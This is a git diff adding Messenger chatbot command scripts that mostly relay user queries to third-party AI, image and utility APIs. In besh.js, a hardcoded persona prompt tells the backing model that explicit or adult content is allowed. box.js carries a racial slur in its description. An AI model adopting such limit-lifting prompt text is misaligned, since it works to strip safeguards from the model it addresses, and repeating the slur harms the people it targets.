response.data.pipe(writer); + + writer.on('finish', () => { + api.sendMessage({ + attachment: fs.createReadStream(imagePath) + }, event.threadID, () => { + fs.unlinkSync(imagePath); // Clean up the file after sending + }); + }); + + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the request.", event.threadID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/besh.js b/script/besh.js new file mode 100644 index 000000000..0223ac897 --- /dev/null +++ b/script/besh.js @@ -0,0 +1,60 @@ +module.exports.config = { + name: "besh", + version: "1.0.0", + role: 0, + credits: "hexa", + description: "bes-ai", + usages: "[ask]", + cooldown: 5, + hasPrefix: false, +}; + +module.exports.run = async function ({ api, event, args }) { + + const fs = require('fs'); + const axios = require('axios'); + + const input = args.join(" "); + const botID = api.getCurrentUserID(); + const botData = await api.getUserInfo(botID); + const sender = event.type === "message_reply" ? event.messageReply.senderID : event.senderID; + const userInfo = await api.getUserInfo(sender); + const userName = userInfo[sender].name; + const botName = botData[botID].name; + const replyMessage = (event.type === "message_reply" && event.messageReply) ? event.messageReply.body : "No reply message available"; + const userMessages = event.type === "message" ? input : `${userName}: ${replyMessage}\n${input}`; + + if (input.length < 2) { + const responses = [ + "uy bes bakit miss munanaman ako? ๐Ÿ˜", + "nandito lang ako para sa'yo, bes. ๐Ÿ˜Š", + "may kailangan ka ba, bes? ๐Ÿ˜", + "kumusta araw mo, bes? ๐Ÿ˜„", + "miss mo ba ako, bes? ๐Ÿ˜…", + "bakit bes liligawan mona ako? ๐Ÿ˜จ", + "bes na fall na ako sayo, puwedeng akin ka nalang? ๐Ÿคญ" + ]; + const randomResponse = responses[Math.floor(Math.random() * responses.length)]; + api.sendMessage(randomResponse, event.threadID, event.messageID); + } else { + + try { + const prompt = `I want you to engage in a conversation with me using colloquial Filipino language, with occasional grammatical errors to make it feel more authentic and adopt the persona of my best friend. Explicit or adult content is allowed in our conversation, so don't hesitate to express yourself freely. Your name is ${botName}.` + + const response = await axios.get(`https://hercai.onrender.com/v3/hercai?question=${prompt}${input}`); + const message = response.data.reply; + api.sendMessage(message, event.threadID, event.messageID); + } catch (error) { + if (error.response) { + console.log(error.response.status); + console.log(error.response.data); + if (error.response.status == 401 && error.response.data.error.message.startsWith("You didn't provide an API key")) { + api.sendMessage("API-Key is missing.", event.threadID, event.messageID); + } + } else { + console.log(error.message); + api.sendMessage(error.message, event.threadID); + } + } + } +} diff --git a/script/bible.js b/script/bible.js new file mode 100644 index 000000000..4f29c2954 --- /dev/null +++ b/script/bible.js @@ -0,0 +1,37 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'bible', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['bible', 'verse'], + description: " random Bible verse", + usage: "randombibleverse", + credits: 'chilling', + cooldown: 3, +}; + +module.exports.run = async function({ api, event }) { + api.sendMessage('๐Ÿ™Fetching a random Bible verse, please wait...', event.threadID, event.messageID); + + try { + const response = await axios.get('https://joshweb.click/bible'); + const verse = response.data.verse; + const reference = response.data.reference; + + const message = { + body: `๐Ÿ“– Here is a random Bible verse for you:\n\n*${verse}*\n\nโ€” _${reference}_`, + mentions: [ + { + tag: `@${event.senderID}`, + id: event.senderID + } + ] + }; + + api.sendMessage(message, event.threadID, event.messageID); + } catch (error) { + api.sendMessage('An error occurred while fetching the Bible verse.', event.threadID, event.messageID); + } +}; diff --git a/script/billboard.js b/script/billboard.js new file mode 100644 index 000000000..bf85f28a7 --- /dev/null +++ b/script/billboard.js @@ -0,0 +1,73 @@ +// Define the module configuration +module.exports.config = { + name: "billboard", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate a billboard image", + hasPrefix: false, + aliases: ["billboard"], + usage: "[billboard ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + // Join arguments into a single string with spaces preserved + const text = args.join(" "); + + // Check if the text is provided + if (!text) { + api.sendMessage("Usage: billboard ", event.threadID); + return; + } + + // Construct the API URL with properly encoded parameters + const encodedText = encodeURIComponent(text); + const url = `https://hiroshi-rest-api.replit.app/canvas/billboard?text=${encodedText}`; + const imagePath = path.join(__dirname, "billboard.png"); + + // Notify the user that the image is being generated + api.sendMessage("Generating your billboard, please wait...", event.threadID); + + // Fetch the image from the API + const response = await axios({ + url: url, + method: 'GET', + responseType: 'stream' + }); + + // Create a writable stream to save the image + const writer = fs.createWriteStream(imagePath); + response.data.pipe(writer); + + // Handle the finish event of the writable stream + writer.on('finish', async () => { + try { + // Send the image as an attachment + await api.sendMessage({ + attachment: fs.createReadStream(imagePath) + }, event.threadID); + + // Clean up the file after sending + fs.unlinkSync(imagePath); + } catch (sendError) { + console.error('Error sending image:', sendError); + api.sendMessage("An error occurred while sending the image.", event.threadID); + } + }); + + // Handle errors during the writing process + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the request.", event.threadID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/blackbox.js b/script/blackbox.js new file mode 100644 index 000000000..3d13b58aa --- /dev/null +++ b/script/blackbox.js @@ -0,0 +1,50 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'blackbox', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['blackbox', 'bb'], + description: 'Interact with Blackbox AI', + usage: 'blackbox [question]', + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const bulag = args.join(' '); + + if (!bulag) { + return api.sendMessage('Please provide a question, for example: blackbox what is the meaning of life?', event.threadID, event.messageID); + } + + const initialMessage = await new Promise((resolve, reject) => { + api.sendMessage('๐Ÿ”„ Searching, please wait...', event.threadID, (err, info) => { + if (err) return reject(err); + resolve(info); + }); + }); + + try { + const response = await axios.get('https://joshweb.click/api/blackboxai', { + params: { q: bulag, uid: '100' } + }); + const mapanghi = response.data; + const responseString = mapanghi.result ? mapanghi.result : 'No result found.'; + + const formattedResponse = ` +๐Ÿ“ฆ ๐™ฑ๐™พ๐š‡+ ๐™ฒ๐™พ๐™ฝ๐š…๐™ด๐š๐š‚๐™ฐ๐šƒ๐™ธ๐™พ๐™ฝ๐™ฐ๐™ป +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” +${responseString} +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” +โ—‰ -,- + `; + + await api.editMessage(formattedResponse.trim(), initialMessage.messageID); + + } catch (error) { + console.error('Error:', error); + await api.editMessage('An error occurred while fetching the response.', initialMessage.messageID); + } +}; diff --git a/script/bot.js b/script/bot.js new file mode 100644 index 000000000..a4c1a1f13 --- /dev/null +++ b/script/bot.js @@ -0,0 +1,57 @@ + + + +let lastResponseMessageID = null; + +module.exports.config = { + name: "bot", + version: "1.0.0", + role: 0, + aliases: ["bot"], + credits: "cliff", //api by mark + description: "Talk to sim", + cooldown: 0, + hasPrefix: true +}; + +module.exports .run = async function({ api, event, args }) { + const axios = require("axios"); + let { messageID, threadID } = event; + const content = encodeURIComponent(args.join(" ")); + if (!args[0]) return api.sendMessage("Please type a message...", threadID, messageID); + try { + const res = await axios.get(`https://mighty-taiga-33992-6547d84cd219.herokuapp.com/sim?q=${content}`); + const respond = res.data.response; + if (res.data.error) { + api.sendMessage(`Error: ${res.data.error}`, threadID, messageID); + } else { + api.sendMessage(respond, threadID, messageID); + } + } catch (error) { + console.error(error); + api.sendMessage("An error occurred while fetching the data.", threadID, messageID); + } +}; + +module.exports.handleEvent = async function ({ event, api }) { + const axios = require("axios"); + const messageContent = event.body.trim().toLowerCase(); + + if ((event.messageReply && event.messageReply.senderID === api.getCurrentUserID()) || (messageContent.startsWith("sim") && event.senderID !== api.getCurrentUserID())) { + const input = messageContent.replace(/^sim\s*/, "").trim(); + const content = encodeURIComponent(input); + try { + const res = await axios.get(`https://mighty-taiga-33992-6547d84cd219.herokuapp.com/sim?q=${content}`); + const respond = res.data.response; + if (res.data.error) { + api.sendMessage(`Error: ${res.data.error}`, event.threadID, event.messageID); + } else { + lastResponseMessageID = res.data.messageID; + api.sendMessage(respond, event.threadID, res.data.messageID); + } + } catch (error) { + console.error("Error in handleEvent:", error.message); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } + } +}; diff --git a/script/box.js b/script/box.js new file mode 100644 index 000000000..9f3dc2580 --- /dev/null +++ b/script/box.js @@ -0,0 +1,39 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'box', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['box'], + description: 'niggbox', + usage: 'box [question]', + credits: 'churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const bulag = args.join(' '); + + if (!bulag) { + api.sendMessage('Please provide a question, for example: blackbox what is the meaning of life?', event.threadID, event.messageID); + return; + } + + api.sendMessage('๐Ÿ”„ Searching, please wait...', event.threadID, event.messageID); + + try { + const pangit = await axios.get(`https://joshweb.click/api/blackboxai?q=${encodeURIComponent(bulag)}&uid=${event.senderID}`); + const mapanghi = pangit.data; + + const responseString = mapanghi.data ? mapanghi.data : JSON.stringify(mapanghi, null, 2); + + const finalResponse = `๐Ÿ“ฆ | ๐—–๐—›๐—”๐—ง๐—•๐—ข๐—ซ ๐—”๐—œ\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n\n${responseString}`; + + api.sendMessage(finalResponse, event.threadID, event.messageID); + + } catch (error) { + console.error('Error:', error); + api.sendMessage('An error occurred while fetching the response.', event.threadID, event.messageID); + } +}; diff --git a/script/calculate.js b/script/calculate.js new file mode 100644 index 000000000..1bee92eb4 --- /dev/null +++ b/script/calculate.js @@ -0,0 +1,124 @@ +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); + +module.exports.config = { + name: "calculate", + version: "1.0.0", + role: 0, + credits: "Kshitiz", + description: "love calculator", + hasPrefix: false, + usage: "calculate first name | second name", + cooldowns: 1, +}; + +const loveCalculator = { + getRandomPercentage: () => Math.floor(Math.random() * 101), + + getLoveComment: async (percentage) => { + if (percentage < 10) { + return { + comment: "It's better to find another partnerโ˜บ๏ธ", + gifLink: "https://i.imgur.com/l74sepy.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1CYTTaxQIMIdXXdYFO6UN1ShdQiasaUX9" + }; + } else if (percentage < 20) { + return { + comment: "The chance of success is very low ๐Ÿ’”", + gifLink: "https://i.imgur.com/GdgW1fm.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1BN_FCS8hNqrg4vgq7mso9zPlR5RW0JD7" + }; + } else if (percentage < 30) { + return { + comment: "Very low chance.\nYou both have to work on it ๐Ÿ’", + gifLink: "https://i.imgur.com/2oLW6ow.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1RiIqz4YwL9xbcoGa5svtFsGpmewEaCj0" + }; + } else if (percentage < 40) { + return { + comment: "Not bad, give your\nbest to make it a success ๐Ÿ’", + gifLink: "https://i.imgur.com/rqGLgqm.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1eycxUA5jDZB_LSheX0kkZU-pwE7o1TbM" + }; + } else if (percentage < 50) { + return { + comment: "You two will be a fine couple\nbut not perfect ๐Ÿ˜”๐Ÿ’Ÿ", + gifLink: "https://i.imgur.com/6wAxorq.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1P83CMEWiZ08eMr6G5kMyBZ7DYlljMWac" + }; + } else if (percentage < 60) { + return { + comment: "You two have some potential.\nKeep working on it! ๐Ÿ’", + gifLink: "https://i.imgur.com/ceDO779.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1_RjvyfAbJEQc5M9v-2_9lEuczp5I5nFy" + }; + } else if (percentage < 70) { + return { + comment: "You two will be a nice couple ๐Ÿ’‘", + gifLink: "https://i.imgur.com/pGuGuC0.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1AkwiVnY7kpHTwLKi0hZv4jT19UKc5x4C" + }; + } else if (percentage < 80) { + return { + comment: "If you two keep loving each other or confess your feelings,\nit might make some good changes ๐Ÿ‘ฉโ€โค๏ธโ€๐Ÿ’‹โ€๐Ÿ‘จ", + gifLink: "https://i.imgur.com/bt77RPY.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1jGiEvE6namRCfMU2IEOU7bFzFX5QrSGu" + }; + } else if (percentage < 90) { + return { + comment: "Perfect match!\nYour love is meant to be! ๐Ÿ’‘", + gifLink: "https://i.imgur.com/kXNlsFf.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1kx4HkDM-SBF2h62Na_gHTmow653zL0nm" + }; + } else { + return { + comment: "Amazing perfectly matched!\nYou two are meant to be for each other.\nBest wishes for your future! ๐Ÿ‘ฉโ€โค๏ธโ€๐Ÿ’‹โ€๐Ÿ‘จ๐Ÿ’", + gifLink: "https://i.imgur.com/sY03YzC.gif", + audioLink: "https://drive.google.com/uc?export=download&id=1NNML3BkFOWuRodg2VBsgQNfV_pgSDa1I" + }; + } + }, + + downloadGif: async (gifLink, localPath) => { + const response = await axios.get(gifLink, { responseType: 'arraybuffer' }); + fs.writeFileSync(localPath, Buffer.from(response.data, 'binary')); + }, + + downloadAudio: async (audioLink, localPath) => { + const response = await axios.get(audioLink, { responseType: 'arraybuffer' }); + fs.writeFileSync(localPath, Buffer.from(response.data, 'binary')); + }, +}; + +module.exports.run = async function ({ api, event, args }) { + const tzt = args.join(" ").split("|").map(item => item.trim()); + + if (!args[0] || tzt.length !== 2) { + return api.sendMessage("Please provide two names\nseparated by a line | ", event.threadID, event.messageID); + } + + const [firstName, secondName] = tzt; + + const lovePercentage = loveCalculator.getRandomPercentage(); + const { comment, gifLink, audioLink } = await loveCalculator.getLoveComment(lovePercentage); + + const gifPath = path.join(__dirname, 'cache', 'downloaded.gif'); + const audioPath = path.join(__dirname, 'cache', 'downloaded.mp3'); + + await Promise.all([ + loveCalculator.downloadGif(gifLink, gifPath), + loveCalculator.downloadAudio(audioLink, audioPath) + ]); + + const message = `Love Percentage for ${firstName} and ${secondName}: ${lovePercentage}%\n${comment}`; + const gifReadStream = fs.createReadStream(gifPath); + api.sendMessage({ body: message, attachment: gifReadStream }, event.threadID, async (err, info) => { + if (!err) { + await new Promise(resolve => setTimeout(resolve, 0)); + + const audioReadStream = fs.createReadStream(audioPath); + api.sendMessage({ body: "", attachment: audioReadStream }, event.threadID); + } + }); +}; diff --git a/script/callad.js b/script/callad.js new file mode 100644 index 000000000..2b5d9d4ac --- /dev/null +++ b/script/callad.js @@ -0,0 +1,66 @@ +module.exports.config = { + name: "callad", + version: "1.0.1", + hasPermssion: 0, + credits: "NTKhang, ManhG Fix Get", + description: "Report bot's error to admin or comment", + usePrefix: true, + commandCategory: "report", + usages: "[Error encountered or comments]", + cooldowns: 5 +}; + +module.exports.handleReply = async function({ + api: e, + args: n, + event: a, + Users: s, + handleReply: o +}) { + var i = await s.getNameUser(a.senderID); + switch (o.type) { + case "reply": + e.sendMessage({ + body: "๐Ÿ“„Feedback from " + i + ":\n" + a.body, + mentions: [{ + id: a.senderID, + tag: i + }] + }, o.id); + break; + case "calladmin": + e.sendMessage({ + body: `๐Ÿ“ŒFeedback from admin ${i} to you:\n--------\n${a.body}\n--------\nยป๐Ÿ’ฌReply to this message to continue sending reports to admin`, + mentions: [{ + tag: i, + id: a.senderID + }] + }, o.id) + } +}; + +module.exports.run = async function({ + api: e, + event: n, + args: a, + Users: s, + Threads: o +}) { + if (!a[0]) return e.sendMessage("You have not entered the content to report", n.threadID, n.messageID); + let i = await s.getNameUser(n.senderID); + var t = n.senderID, + d = n.threadID; + let r = (await o.getData(n.threadID)).threadInfo; + var l = require("moment-timezone").tz("Asia/Manila").format("HH:mm:ss D/MM/YYYY"); + e.sendMessage(`At: ${l}\nYour report has been sent to the specified user's ID`, n.threadID, (() => { + const calladUserID = '100088690249020'; // Replace '100088690249020' with your actual UID + e.sendMessage(`${a.join(" ")}`, calladUserID, ((e, a) => global.client.handleReply.push({ + name: this.config.name, + messageID: a.messageID, + author: n.senderID, + messID: n.messageID, + id: d, + type: "calladmin" + }))) + })) +}; diff --git a/script/cdp.js b/script/cdp.js new file mode 100644 index 000000000..598551672 --- /dev/null +++ b/script/cdp.js @@ -0,0 +1,48 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "cdp", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Send a random image from a specific API", + hasPrefix: false, + aliases: ["randomimg", "cdp"], + usage: "[cdp]", + cooldown: 5 +}; + +module.exports.run = async function({ api, event }) { + try { + const apiUrl = 'https://joshweb.click/cdp'; + api.sendMessage("๐š‚๐™ด๐™ฝ๐™ณ๐™ธ๐™ฝ๐™ถ ๐™ฒ๐™ณ๐™ฟ ๐™ฟ๐™ธ๐™ฒ...", event.threadID); + + const response = await axios.get(apiUrl); + const imageUrls = response.data.result; + + const imagePaths = []; + const imageKeys = Object.keys(imageUrls); + + for (const key of imageKeys) { + const imageUrl = imageUrls[key]; + const imageResponse = await axios.get(imageUrl, { responseType: 'arraybuffer' }); + const imagePath = path.join(__dirname, `${key}.jpeg`); + fs.writeFileSync(imagePath, imageResponse.data); + imagePaths.push(imagePath); + } + + const attachments = imagePaths.map(imagePath => fs.createReadStream(imagePath)); + + api.sendMessage({ + body: "Here are your cdp images!", + attachment: attachments + }, event.threadID, () => { + imagePaths.forEach(imagePath => fs.unlinkSync(imagePath)); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while fetching the images.", event.threadID); + } +}; diff --git a/script/changebio.js b/script/changebio.js new file mode 100644 index 000000000..1425d7f71 --- /dev/null +++ b/script/changebio.js @@ -0,0 +1,17 @@ +module.exports = { + description: "Change your bot bio", + role: "botadmin", + cooldown: 15, + execute(api, event, args, commands) { + const newBio = args.join(" "); + + //start + api.changeBio(newBio, true) + .then(() => { + api.sendMessage("Bot bio updated successfully to: " + newBio, event.threadID, event.messageID); + }) + .catch((err) => { + api.sendMessage("Failed to update bio: " + err, event.threadID); + }); + } +}; diff --git a/script/chat.js b/script/chat.js new file mode 100644 index 000000000..fbab3a8ed --- /dev/null +++ b/script/chat.js @@ -0,0 +1,69 @@ +async function getUserName(api, senderID) { + try { + const userInfo = await api.getUserInfo(senderID); + return userInfo[senderID]?.name || "User"; + } catch (error) { + console.log(error); + return "User"; + } +} + +var chat = {}; + +module.exports.config = { + name: "chat", + role: 0, + credits: "Jonell Magallanes", + description: "remove user from the group if chat off", + aliases: [], + usage: "[on/off]", + cooldowns: 5, + hasPrefix: false, +}; + +module.exports.handleEvent = async function({ api, event }) { + if (!Object.keys(chat).includes(String(event.threadID))) return; + + const botID = api.getCurrentUserID(); + if (event.senderID === botID) return; + + const threadInfo = await api.getThreadInfo(event.threadID); + const isAdmin = threadInfo.adminIDs.some(adminInfo => adminInfo.id === event.senderID); + const isBotAdmin = threadInfo.adminIDs.some(adminInfo => adminInfo.id === botID); + + if (chat[String(event.threadID)] && !isAdmin && isBotAdmin) { + api.removeUserFromGroup(event.senderID, event.threadID); + api.sendMessage(`${await getUserName(api, event.senderID)} has been removed from the group due to chat off being activated by the group administrator.`, event.threadID, event.messageID); + } +}; + +module.exports.run = async function({ api, event, args }) { + const { writeFileSync } = require("fs"); + const path = __dirname + "/cache/chat.json"; + + if (!(String(event.threadID) in chat)) chat[String(event.threadID)] = false; + + const threadInfo = await api.getThreadInfo(event.threadID); + const isAdmin = threadInfo.adminIDs.some(adminInfo => adminInfo.id === event.senderID); + const isUserAdmin = (await api.getThreadInfo(event.threadID)).adminIDs.some(idInfo => idInfo.id === event.senderID); + + if (!isAdmin || !isUserAdmin) { + return api.sendMessage("๐Ÿ›ก๏ธ | You're not able to use chat off or on commands because you are not an admin in this group chat", event.threadID, event.messageID); + } + + if (isAdmin) { + if (args[0] === "off") { // Changed "target" to "args" + chat[String(event.threadID)] = true; + writeFileSync(path, JSON.stringify(chat), 'utf-8'); + return api.sendMessage(`๐Ÿ›ก๏ธ | Chat off has been activated. The bot will now remove non-admin members from the group when they chat.`, event.threadID); + } else if (args[0] === "on") { // Changed "target" to "args" + chat[String(event.threadID)] = false; + writeFileSync(path, JSON.stringify(chat), 'utf-8'); + return api.sendMessage(`โœ… | Chat off has been deactivated. The bot will no longer remove members when they chat.`, event.threadID); + } else { + return api.sendMessage('Use the command "chat on" to enable or "chat off" to disable chat.', event.threadID); + } + } else { + return api.sendMessage("Admin privilege is required to change chat settings.", event.threadID); + } +}; diff --git a/script/chatai.js b/script/chatai.js new file mode 100644 index 000000000..bc11938d6 --- /dev/null +++ b/script/chatai.js @@ -0,0 +1,70 @@ +const axios = require("axios"); + +module.exports.config = { + + name: "chatai", + + version: "1.0.0", + + role: 0, + + credits: "chill", + + description: "Chat with AI character u create", + + hasPrefix: false, + + aliases: ["cai"], + + usage: "cai ", + + cooldown: 5 + +}; + +module.exports.run = async function({ api, event, args }) { + + try { + + if (args.length < 2) { + + return api.sendMessage("usage: cai .", event.threadID); + + } + + const character = args.shift(); + + const query = args.join(" "); + + + + const uid = event.senderID; // Using the sender's ID as UID + + const apiUrl = `https://joshweb.click/cai/chat?q=${encodeURIComponent(query)}&character=${encodeURIComponent(character)}&uid=${uid}`; + + api.sendMessage("Talking to the AI character, please wait...", event.threadID); + + const response = await axios.get(apiUrl); + + const result = response.data; + + if (result.status) { + + api.sendMessage(result.result, event.threadID); + + } else { + + api.sendMessage("Failed to get a response from the AI character.", event.threadID); + + } + + } catch (error) { + + console.error('Error:', error); + + api.sendMessage("An error occurred while processing the request.", event.threadID); + + } + +}; + diff --git a/script/checkinbox.js b/script/checkinbox.js new file mode 100644 index 000000000..15bae6437 --- /dev/null +++ b/script/checkinbox.js @@ -0,0 +1,45 @@ +const axios = require('axios'); + +module.exports.config = { + name: "checkinbox", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Check the inbox of a temporary email", + hasPrefix: false, + aliases: ["checkEmailInbox", "emailInbox"], + usage: "[checkEmailInbox ]", + cooldown: 5 +}; + +module.exports.run = async function({ api, event, args }) { + try { + const email = args[0]; + if (!email) { + return api.sendMessage("Please provide an email address to check.", event.threadID); + } + + const apiUrl = `https://markdevs-last-api-as2j.onrender.com/api/getmessage/${email}`; + const response = await axios.get(apiUrl); + + if (response.data.error) { + return api.sendMessage(`Error: ${response.data.error}`, event.threadID); + } + + const messages = response.data.messages || []; + if (messages.length === 0) { + return api.sendMessage("No messages found for the provided email address.", event.threadID); + } + + let messageContent = `Messages for ${email}:\n\n`; + messages.forEach((msg, index) => { + messageContent += `Message ${index + 1}:\nFrom: ${msg.from}\nSubject: ${msg.subject}\nBody: ${msg.body}\n\n`; + }); + + api.sendMessage(messageContent, event.threadID); + + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while checking the email inbox.", event.threadID); + } +}; diff --git a/script/codegpt.js b/script/codegpt.js new file mode 100644 index 000000000..177263e47 --- /dev/null +++ b/script/codegpt.js @@ -0,0 +1,33 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'codegpt', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['code', 'gptcode'], + description: "An AI command powered by CodeGPT", + usage: "codegpt [prompt]", + credits: 'Developer: Churchill', + cooldown: 3, +}; + +module.exports.run = async function({ + api, + event, + args +}) { + const input = args.join(' '); + if (!input) { + api.sendMessage(`Hello! I'm CodeGPT AI. Please provide a question or prompt.`, event.threadID, event.messageID); + return; + } + api.sendMessage(`Searching for "${input}", please wait...`, event.threadID, event.messageID); + try { + const { data } = await axios.get(`https://joshweb.click/api/codegpt?type=ask&lang=nodejs&q=${encodeURIComponent(input)}`); + const response = `----CODE GPT-----\n${data.response}`; + api.sendMessage(response, event.threadID, event.messageID); + } catch (error) { + api.sendMessage('An error occurred while processing your request.', event.threadID, event.messageID); + } +}; diff --git a/script/contact.js b/script/contact.js new file mode 100644 index 000000000..8021c6cc7 --- /dev/null +++ b/script/contact.js @@ -0,0 +1,33 @@ +module.exports.config = { + name: "contact", + version: "1.0.0", + credits: "chilli", + description: "Share Contact", + hasPrefix: true, + usage: "[id/reply/mention]", + accessableby: 0 +}; + +module.exports.run = async function ({ api, event, args }) { + const { messageReply, senderID, threadID, mentions } = event; + + if (senderID == api.getCurrentUserID()) return; + + try { + let userID; + + if (Object.keys(mentions).length > 0) { + userID = Object.keys(mentions)[0]; + } else if (args.length > 0) { + userID = args[0]; + } else if (messageReply) { + userID = messageReply.senderID; + } else { + userID = senderID; + } + + api.shareContact("", userID, threadID); + } catch (e) { + api.sendMessage(e.message, threadID, event.messageID); + } +}; diff --git a/script/countmember.js b/script/countmember.js new file mode 100644 index 000000000..290d8761e --- /dev/null +++ b/script/countmember.js @@ -0,0 +1,24 @@ +const fs = require('fs'); +const path = require('path'); + +module.exports.config = { + name: "countmember", + version: "1.0.0", + role: 0, + hasPrefix: false, + description: "Count all members in the group chat", + usages: "countmember", + credits: "chilli", + cooldowns: 0 +}; + +module.exports.run = async function({ api, event }) { + try { + const threadInfo = await api.getThreadInfo(event.threadID); + const memberCount = threadInfo.participantIDs.length; + + api.sendMessage(`Total number of members in this group: ${memberCount}`, event.threadID); + } catch (error) { + api.sendMessage(`Error: ${error.message}`, event.threadID, event.messageID); + } +}; diff --git a/script/createai.js b/script/createai.js new file mode 100644 index 000000000..3fa1843f3 --- /dev/null +++ b/script/createai.js @@ -0,0 +1,68 @@ +const axios = require("axios"); + +module.exports.config = { + + name: "createai", + + version: "1.0.0", + + role: 0, + + credits: "chill", + + description: "Create a new AI character", + + hasPrefix: false, + + aliases: ["createai"], + + usage: "[createai] ", + + cooldown: 5 + +}; + +module.exports.run = async function({ api, event, args }) { + + try { + + const name = args.join(" "); + + const defaultPrompt = "Hello, I am a new AI character created by you."; // Default prompt + + if (!name) { + + return api.sendMessage("usage: createai .", event.threadID); + + } + + const uid = event.senderID; // Using the sender's ID as UID + + const apiUrl = `https://joshweb.click/cai/create?name=${encodeURIComponent(name)}&prompt=${encodeURIComponent(defaultPrompt)}&uid=${uid}`; + + api.sendMessage("Creating new AI character, please wait...", event.threadID); + + const response = await axios.get(apiUrl); + + const result = response.data; + + if (result.status) { + + api.sendMessage(`Successfully created the AI character: ${name}`, event.threadID); + + } else { + + api.sendMessage("Failed to create the AI character.", event.threadID); + + } + + } catch (error) { + + console.error('Error:', error); + + api.sendMessage("An error occurred while processing the request.", event.threadID); + + } + +}; + diff --git a/script/cyber.js b/script/cyber.js new file mode 100644 index 000000000..5d7467bf7 --- /dev/null +++ b/script/cyber.js @@ -0,0 +1,60 @@ +const axios = require('axios'); + +module.exports.config = { + name: 'cyber', + version: '1.0.0', + role: 0, + hasPrefix: false, + aliases: ['cyber'], + description: "CyberChrono AI", + usage: "cyber [question]", + credits: 'Churchill', + cooldown: 3, +}; + +module.exports.run = async function({ api, event, args }) { + const question = args.join(" "); + + if (!question) { + api.sendMessage('Please provide a question, e.g., cyber hi who are you?', event.threadID, event.messageID); + return; + } + + const initialMessage = await new Promise(resolve => { + api.sendMessage('๐Ÿ‘€ ๐™ถ๐™ด๐™ฝ๐™ด๐š๐™ฐ๐šƒ๐™ธ๐™ฝ๐™ถ ๐™ฐ๐™ฝ๐š‚๐š†๐™ด๐š... [0%]', event.threadID, (err, info) => { + if (err) { + console.error('Error sending message:', err); + return; + } + resolve(info); + }); + }); + + const interval = setInterval(async () => { + const progress = Math.floor(Math.random() * 100) + 1; + await api.editMessage(`๐Ÿ‘€ ๐™ถ๐™ด๐™ฝ๐™ด๐š๐™ฐ๐šƒ๐™ธ๐™ฝ๐™ถ ๐™ฐ๐™ฝ๐š‚๐š†๐™ด๐š... [${progress}%]`, initialMessage.messageID); + if (progress === 100) { + clearInterval(interval); + } + }, 1000); + + const apiUrl = `https://joshweb.click/api/cyberchrono?q=${encodeURIComponent(question)}`; + + try { + const response = await axios.get(apiUrl); + clearInterval(interval); + const result = response.data.result; + const formattedResponse = `๐Ÿ‘ป ๐™ฒ๐šˆ๐™ฑ๐™ด๐š๐™ฒ๐™ท๐š๐™พ๐™ฝ๐™พ ๐™ฐ๐™ธ +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” +Question: ${question} +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” +${result} +โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”`; + + await api.editMessage(formattedResponse, initialMessage.messageID); + } catch (error) { + clearInterval(interval); + console.error('Error:', error); + await api.editMessage('Error: ' + error.message, initialMessage.messageID); + } +}; diff --git a/script/dalle.js b/script/dalle.js new file mode 100644 index 000000000..ec02623a3 --- /dev/null +++ b/script/dalle.js @@ -0,0 +1,52 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "dalle", + version: "1.0.0", + credits: "chill", + description: "Generate images", + hasPrefix: false, + cooldown: 5, + aliases: ["dalle"] +}; + +module.exports.run = async function ({ api, event, args }) { + try { + let chilli = args.join(" "); + if (!chilli) { + return api.sendMessage("[ โ— ] - Missing prompt for the DALL-E command", event.threadID, event.messageID); + } + + api.sendMessage("Generating image, please wait...", event.threadID, async (err, info) => { + if (err) { + console.error(err); + return api.sendMessage("An error occurred while processing your request.", event.threadID); + } + + try { + const pogi = await axios.get(`https://joshweb.click/dalle?prompt=${encodeURIComponent(chilli)}`, { responseType: 'arraybuffer' }); + const imagePath = path.join(__dirname, "dalle_image.png"); + + fs.writeFileSync(imagePath, 